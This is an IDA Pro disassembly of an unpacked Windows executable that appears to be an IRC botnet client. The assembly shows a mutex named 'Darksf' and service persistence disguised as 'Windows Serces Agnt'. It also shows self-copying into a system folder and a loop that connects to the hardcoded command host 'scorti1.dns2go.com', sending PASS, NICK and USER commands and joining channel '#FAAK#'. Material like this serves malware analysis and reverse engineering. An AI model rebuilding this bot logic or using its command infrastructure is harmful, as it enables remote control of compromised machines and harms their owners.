;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 35A1C253DC51C0A93A364913B59BCD38
; File Name : u:\work\35a1c253dc51c0a93a364913b59bcd38_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000DE000 ( 909312.)
; Section size in file : 000DE000 ( 909312.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
___ segment para public 'CODE' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: ___:00401579p
; sub_4188A6+1Ep
; DATA XREF: ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_429050
xor esi, esi
mov ebx, offset aWindowsSercesA ; "Windows Serces Agnt"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4CB988
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_41B9C0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4CB9F8
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4CB938
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4CB9B0
add edi, 8
cmp edi, offset dword_429068
jb short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_427220[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
sub_4010AB proc near ; CODE XREF: ___:004169EAp
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41BEB5
mov [esp+10h+var_10], offset dword_429068
push [esp+10h+arg_0]
mov esi, eax
call sub_41BEA2
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx
push esi
call sub_41BBE2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41BAFA
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_41BA91
push edi
call sub_41BA3B
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40111D proc near ; DATA XREF: ___:00401235o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43E91C
call dword_4CBA6C
call sub_40B583
call dword_4CB92C
call dword_4CB92C
mov ebx, dword_427080
push 64h
call ebx
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41BF70
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_43DB88
mov [ebp+var_28], 1
mov [ebp+var_24], di
nop
call near ptr 26C0000h
lea eax, [ebp+var_158]
push esi
push eax
push edi
nop
call near ptr 26B0000h
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call near ptr 26A02FDh
nop
test eax, eax
jz short loc_4011E2
push 64h
call ebx
push [ebp+var_10]
mov esi, dword_427070
call esi
push [ebp+var_C]
call esi
loc_4011E2: ; CODE XREF: sub_40111D+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43DB80
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
nop
call near ptr 77E75CB5h
pop edi
pop esi
pop ebx
loc_401205: ; DATA XREF: ___:00429004o
jmp $+5
push 0FFFFh
push 539h
call sub_418BD1
pop ecx
mov dword_4CB710, eax
pop ecx
retn
sub_40111D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-8], ebx
mov [ebp-0Ch], ebx
mov dword ptr [ebp-4], offset sub_40111D
push dword ptr [ebp-4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4270B0
call esi
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CB714, eax
call esi
push eax
call sub_41C2B8
pop ecx
call sub_409909
push 2
call dword_4CBA80
push 7530h
push offset aDarksf ; "Darksf"
push ebx
push ebx
call near ptr 26D076Ah
nop
push eax
nop
call near ptr 26D06B7h
cmp eax, 102h
jnz short loc_4012A1
push 1
call near ptr 77E75CB5h
nop
loc_4012A1: ; CODE XREF: ___:00401297j
lea eax, [ebp-884h]
push eax
push 202h
call dword_4CB944
cmp eax, ebx
jnz loc_4017E4
cmp byte ptr [ebp-884h], 2
jnz loc_4017DE
xor eax, eax
mov al, [ebp-883h]
cmp al, 2
jnz loc_4017DE
mov esi, 104h
lea eax, [ebp-3F0h]
push esi
push eax
nop
call near ptr 26C0000h
lea eax, [ebp-2ECh]
push esi
push eax
push ebx
nop
call near ptr 26D0551h
push eax
nop
call near ptr 26B0000h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push ebx
lea eax, [ebp-2ECh]
push ebx
push eax
call sub_41C3B1
add esp, 14h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push offset dword_429AC8
lea eax, [ebp-5F4h]
push esi
push eax
call sub_41C360
lea eax, [ebp-3F0h]
push eax
lea eax, [ebp-2ECh]
push eax
call sub_41C2E0
add esp, 1Ch
test eax, eax
jnz loc_401516
cmp dword_42908C, ebx
mov esi, offset byte_429108
jz short loc_40139C
push esi
xor edi, edi
call sub_41B9C0
sub eax, 4
pop ecx
jz short loc_40139C
loc_401379: ; CODE XREF: ___:0040139Aj
call sub_41C2C2
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_429108[edi], dl
inc edi
call sub_41B9C0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401379
loc_40139C: ; CODE XREF: ___:00401369j
; ___:00401377j
lea eax, [ebp-3F0h]
push esi
push eax
lea eax, [ebp-1E8h]
push offset dword_429AC0
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 26D0477h
cmp eax, 0FFFFFFFFh
jz short loc_4013DC
lea eax, [ebp-1E8h]
push 80h
push eax
call near ptr 26D035Dh
nop
loc_4013DC: ; CODE XREF: ___:004013C8j
mov esi, dword_427098
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
xor edi, edi
push eax
loc_4013F3: ; CODE XREF: ___:0040142Aj
call esi
test eax, eax
jnz short loc_40142C
nop
call near ptr 26C0CC8h
cmp edi, ebx
jnz short loc_40142C
cmp eax, 20h
jz short loc_40140D
cmp eax, 5
jnz short loc_40142C
loc_40140D: ; CODE XREF: ___:00401406j
push 1
pop edi
push 3A98h
call near ptr 26C04BFh
nop
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
push eax
jmp short loc_4013F3
; ---------------------------------------------------------------------------
loc_40142C: ; CODE XREF: ___:004013F7j
; ___:00401401j ...
lea eax, [ebp-1E8h]
push eax
call sub_4187E0
pop ecx
lea eax, [ebp-1E8h]
push 7
push eax
call near ptr 26D035Dh
nop
push 10h
lea eax, [ebp-20h]
push ebx
push eax
call sub_41BF70
push 44h
lea eax, [ebp-0E4h]
pop esi
push esi
push ebx
push eax
call sub_41BF70
add esp, 18h
mov [ebp-0E4h], esi
mov dword ptr [ebp-0D8h], offset byte_43DB88
mov [ebp-0B4h], bx
push 1
pop esi
mov [ebp-0B8h], esi
nop
call near ptr 26C0C98h
push eax
push esi
push 100000h
loc_401495: ; DATA XREF: ___:off_433094o
nop
call near ptr 26C079Eh
lea ecx, [ebp-2ECh]
push ecx
push eax
lea eax, [ebp-1E8h]
push eax
lea eax, [ebp-988h]
push offset dword_429AB4
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp-20h]
push eax
lea eax, [ebp-0E4h]
push eax
lea eax, [ebp-3F0h]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp-988h]
push ebx
push eax
lea eax, [ebp-1E8h]
push eax
call near ptr 26A02FDh
nop
test eax, eax
jz short loc_401516
push 0C8h
nop
call near ptr 26C04BFh
push dword ptr [ebp-20h]
mov esi, dword_427070
call esi
push dword ptr [ebp-1Ch]
call esi
call dword_4CB92C
push ebx
nop
call near ptr 77E75CB5h
loc_401516: ; CODE XREF: ___:00401358j
; ___:004014ECj
cmp dword_4DBDF8, 2
jle short loc_401562
mov eax, dword_4DBDFC
push dword ptr [eax+4]
call sub_41C159
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
nop
call near ptr 26D06B7h
push esi
nop
call near ptr 26A0000h
mov eax, dword_4DBDFC
cmp [eax+8], ebx
jz short loc_401562
push 7D0h
nop
call near ptr 26C04BFh
mov eax, dword_4DBDFC
push dword ptr [eax+8]
nop
call near ptr 26C0722h
loc_401562: ; CODE XREF: ___:0040151Dj
; ___:00401547j
cmp dword_429090, ebx
jz short loc_40157F
cmp dword_4CBAA4, ebx
jnz short loc_40157F
lea eax, [ebp-5F4h]
push eax
call sub_401000
pop ecx
loc_40157F: ; CODE XREF: ___:00401568j
; ___:00401570j
lea eax, [ebp-0A0h]
push offset dword_429A98
push eax
call sub_41C266
push ebx
lea eax, [ebp-0A0h]
push ebx
push eax
call sub_40B3BA
lea eax, [ebp-0A0h]
push eax
call sub_415D38
push 0B80h
push ebx
push offset dword_43DB90
call sub_41BF70
add esp, 24h
lea eax, [ebp-0A0h]
push offset unk_429A74
push eax
call sub_41C266
push ebx
lea eax, [ebp-0A0h]
push 1
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
mov edi, dword_427084
lea eax, [ebp-8]
push eax
push ebx
push ebx
push offset byte_419F4D
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz short loc_401622
nop
call near ptr 26C0CC8h
push eax
lea eax, [ebp-0A0h]
push offset unk_429A34
push eax
call sub_41C266
add esp, 0Ch
loc_401622: ; CODE XREF: ___:00401605j
lea eax, [ebp-0A0h]
push eax
call sub_415D38
push 2
call sub_40B602
pop ecx
test eax, eax
pop ecx
jnz short loc_4016A7
lea eax, [ebp-0A0h]
push offset dword_429A08
push eax
call sub_41C266
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
lea eax, [ebp-8]
push eax
push ebx
push esi
push offset loc_410BFD
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz short loc_40169A
nop
call near ptr 26C0CC8h
push eax
lea eax, [ebp-0A0h]
push offset dword_4299D4
push eax
call sub_41C266
add esp, 0Ch
loc_40169A: ; CODE XREF: ___:0040167Dj
lea eax, [ebp-0A0h]
push eax
call sub_415D38
pop ecx
loc_4016A7: ; CODE XREF: ___:00401639j
call sub_41C2C2
push 7Fh
and eax, 3
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
push offset dword_4CB71C
mov dword_4CB888, eax
call sub_41BFD0
mov eax, dword_42906C
push 3Fh
mov edi, offset dword_4CB79C
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB86C, eax
call sub_41BFD0
push 3Fh
mov esi, offset dword_4CB7DC
push offset aSaad_ ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov dword_4CB870, ebx
loc_4016FC: ; CODE XREF: ___:00401784j
; ___:0040178Fj ...
mov [ebp-4], ebx
loc_4016FF: ; CODE XREF: ___:00401738j
push offset dword_4CB718
mov dword_4CB884, ebx
call sub_4017ED
cmp eax, 2
mov [ebp-10h], eax
jz loc_4017D9
cmp dword_4CB884, ebx
jz short loc_401726
dec dword ptr [ebp-4]
loc_401726: ; CODE XREF: ___:00401721j
push 0BB8h
nop
call near ptr 26C04BFh
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_4016FF
cmp dword ptr [ebp-10h], 2
jz loc_4017D9
cmp [ebp-0Ch], ebx
jz short loc_401789
push 7Fh
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
push offset dword_4CB71C
call sub_41BFD0
mov eax, dword_42906C
push 3Fh
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB86C, eax
call sub_41BFD0
push 3Fh
push offset aSaad_ ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov [ebp-0Ch], ebx
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_401789: ; CODE XREF: ___:00401747j
cmp byte_4290E4, bl
jz loc_4016FC
push 7Fh
push offset byte_4290E4
push offset dword_4CB71C
call sub_41BFD0
mov eax, dword_429070
push 3Fh
push offset aFaak_0 ; "#FAAK#"
push edi
mov dword_4CB86C, eax
call sub_41BFD0
push 3Fh
push offset aSaad__0 ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov dword ptr [ebp-0Ch], 1
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_4017D9: ; CODE XREF: ___:00401715j
; ___:0040173Ej
call sub_40B583
loc_4017DE: ; CODE XREF: ___:004012C2j
; ___:004012D2j
call dword_4CB92C
loc_4017E4: ; CODE XREF: ___:004012B5j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017ED proc near ; CODE XREF: ___:0040170Ap
; DATA XREF: sub_401ACD+654Co
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_401812: ; CODE XREF: sub_4017ED+E6j
; sub_4017ED+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4CB9D4
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40A8F0
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40193F
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BF70
push 0
lea eax, [ebp+var_2C]
push dword_4290A0
push dword_42909C
push eax
call sub_40AE84
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_43E928
push edi
push eax
call sub_41BFD0
add esp, 28h
push 6
push 1
push 2
call dword_4CBA54
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43E91C[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jnz short loc_4018D8
push esi
call dword_4CBA6C
call sub_40A919
push 7D0h
loc_4018CD: ; CODE XREF: sub_4017ED+146j
nop
call near ptr 26C04BFh
jmp loc_401812
; ---------------------------------------------------------------------------
loc_4018D8: ; CODE XREF: sub_4017ED+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_429AD0
call sub_415DAC
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401955
add esp, 28h
mov edi, eax
push esi
call dword_4CBA6C
test edi, edi
jz loc_401812
cmp edi, 1
jnz short loc_401935
push 0DBBA0h
jmp short loc_4018CD
; ---------------------------------------------------------------------------
loc_401935: ; CODE XREF: sub_4017ED+13Fj
cmp edi, 2
jz short loc_401943
jmp loc_401812
; ---------------------------------------------------------------------------
loc_40193F: ; CODE XREF: sub_4017ED+5Aj
xor eax, eax
jmp short loc_40194F
; ---------------------------------------------------------------------------
loc_401943: ; CODE XREF: sub_4017ED+14Bj
push [ebp+var_34]
call sub_40B6D6
pop ecx
push 2
pop eax
loc_40194F: ; CODE XREF: sub_4017ED+154j
pop edi
pop esi
leave
retn 4
sub_4017ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401955 proc near ; CODE XREF: sub_4017ED+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41C500
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401973: ; CODE XREF: sub_401955+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401973
cmp byte_4CB880, bl
jz short loc_40199A
push offset byte_4CB880
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_409823
add esp, 0Ch
loc_40199A: ; CODE XREF: sub_401955+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40AE84
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_401A04
push [ebp+arg_0]
call dword_4CBA6C
push 1388h
nop
call near ptr 26C04BFh
loc_4019FD: ; CODE XREF: sub_401955+D9j
; sub_401955+153j
xor eax, eax
loc_4019FF: ; CODE XREF: sub_401955+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401A04: ; CODE XREF: sub_401955+92j
; sub_401955+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CB9EC
test eax, eax
jle short loc_4019FD
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_4184CC
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401A04
lea edi, [ebp+var_A90]
loc_401A55: ; CODE XREF: sub_401955+165j
push 1
pop esi
loc_401A58: ; CODE XREF: sub_401955+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401ACD
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401A9B
push 7D0h
call near ptr 26C04BFh
nop
jmp short loc_401A58
; ---------------------------------------------------------------------------
loc_401A9B: ; CODE XREF: sub_401955+137j
cmp esi, 0FFFFFFFDh
jz short loc_401AC5
cmp esi, 0FFFFFFFEh
jz short loc_401AC1
cmp esi, 0FFFFFFFFh
jz loc_4019FD
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401A55
jmp loc_401A04
; ---------------------------------------------------------------------------
loc_401AC1: ; CODE XREF: sub_401955+14Ej
push 1
jmp short loc_401AC7
; ---------------------------------------------------------------------------
loc_401AC5: ; CODE XREF: sub_401955+149j
push 2
loc_401AC7: ; CODE XREF: sub_401955+16Ej
pop eax
jmp loc_4019FF
sub_401955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401ACD proc near ; CODE XREF: sub_401955+12Ap
var_568C = byte ptr -568Ch
var_528C = byte ptr -528Ch
var_50FC = byte ptr -50FCh
var_4FF8 = byte ptr -4FF8h
var_4EF8 = byte ptr -4EF8h
var_4CF8 = byte ptr -4CF8h
var_4BF8 = byte ptr -4BF8h
var_4AF4 = byte ptr -4AF4h
var_49F4 = byte ptr -49F4h
var_48F0 = byte ptr -48F0h
var_47F0 = byte ptr -47F0h
var_46F0 = byte ptr -46F0h
var_45F0 = byte ptr -45F0h
var_458C = byte ptr -458Ch
var_448C = byte ptr -448Ch
var_438C = byte ptr -438Ch
var_428C = byte ptr -428Ch
var_408C = byte ptr -408Ch
var_3F8C = dword ptr -3F8Ch
var_3F88 = byte ptr -3F88h
var_3F08 = byte ptr -3F08h
var_3E04 = byte ptr -3E04h
var_3D00 = dword ptr -3D00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = byte ptr -3CE8h
var_3C68 = byte ptr -3C68h
var_3BE8 = byte ptr -3BE8h
var_3B68 = byte ptr -3B68h
var_3AE8 = byte ptr -3AE8h
var_3A68 = dword ptr -3A68h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = byte ptr -3A58h
var_37D1 = byte ptr -37D1h
var_37D0 = byte ptr -37D0h
var_36CC = dword ptr -36CCh
var_36C4 = dword ptr -36C4h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B0 = dword ptr -36B0h
var_36AC = dword ptr -36ACh
var_36A8 = byte ptr -36A8h
var_3628 = byte ptr -3628h
var_35A8 = byte ptr -35A8h
var_3528 = byte ptr -3528h
var_34A8 = dword ptr -34A8h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = byte ptr -3494h
var_3414 = byte ptr -3414h
var_3394 = byte ptr -3394h
var_3314 = byte ptr -3314h
var_3294 = dword ptr -3294h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = byte ptr -3280h
var_3200 = byte ptr -3200h
var_3180 = byte ptr -3180h
var_3100 = byte ptr -3100h
var_3080 = dword ptr -3080h
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = byte ptr -306Ch
var_2FEC = byte ptr -2FECh
var_2F6C = byte ptr -2F6Ch
var_2EEC = byte ptr -2EECh
var_2E6C = dword ptr -2E6Ch
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = byte ptr -2E5Ch
var_2D58 = dword ptr -2D58h
var_2D54 = byte ptr -2D54h
var_2C50 = byte ptr -2C50h
var_2B4C = dword ptr -2B4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = byte ptr -2B40h
var_2AC0 = dword ptr -2AC0h
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AAC = byte ptr -2AACh
var_2994 = byte ptr -2994h
var_2914 = dword ptr -2914h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = byte ptr -28FCh
var_287C = byte ptr -287Ch
var_277C = byte ptr -277Ch
var_267C = dword ptr -267Ch
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = byte ptr -2654h
var_25D4 = byte ptr -25D4h
var_24D4 = byte ptr -24D4h
var_23D4 = dword ptr -23D4h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = byte ptr -23ACh
var_232C = byte ptr -232Ch
var_22AC = byte ptr -22ACh
var_222C = dword ptr -222Ch
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = byte ptr -2218h
var_2198 = byte ptr -2198h
var_2118 = byte ptr -2118h
var_2098 = dword ptr -2098h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = byte ptr -2084h
var_2004 = byte ptr -2004h
var_1F84 = byte ptr -1F84h
var_1F04 = dword ptr -1F04h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = byte ptr -1EF0h
var_1DF0 = byte ptr -1DF0h
var_1D70 = dword ptr -1D70h
var_1D68 = dword ptr -1D68h
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D4C = byte ptr -1D4Ch
var_1D38 = byte ptr -1D38h
var_1C34 = byte ptr -1C34h
var_1BB0 = dword ptr -1BB0h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B98 = byte ptr -1B98h
var_1B84 = byte ptr -1B84h
var_1A80 = byte ptr -1A80h
var_1A00 = dword ptr -1A00h
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = byte ptr -19E8h
var_1968 = byte ptr -1968h
var_1928 = byte ptr -1928h
var_1828 = dword ptr -1828h
var_1824 = dword ptr -1824h
var_1818 = dword ptr -1818h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = byte ptr -180Ch
var_17D4 = byte ptr -17D4h
var_17B8 = byte ptr -17B8h
var_1780 = byte ptr -1780h
var_177C = byte ptr -177Ch
var_16FC = byte ptr -16FCh
var_16BC = byte ptr -16BCh
var_162C = dword ptr -162Ch
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = byte ptr -1618h
var_1598 = byte ptr -1598h
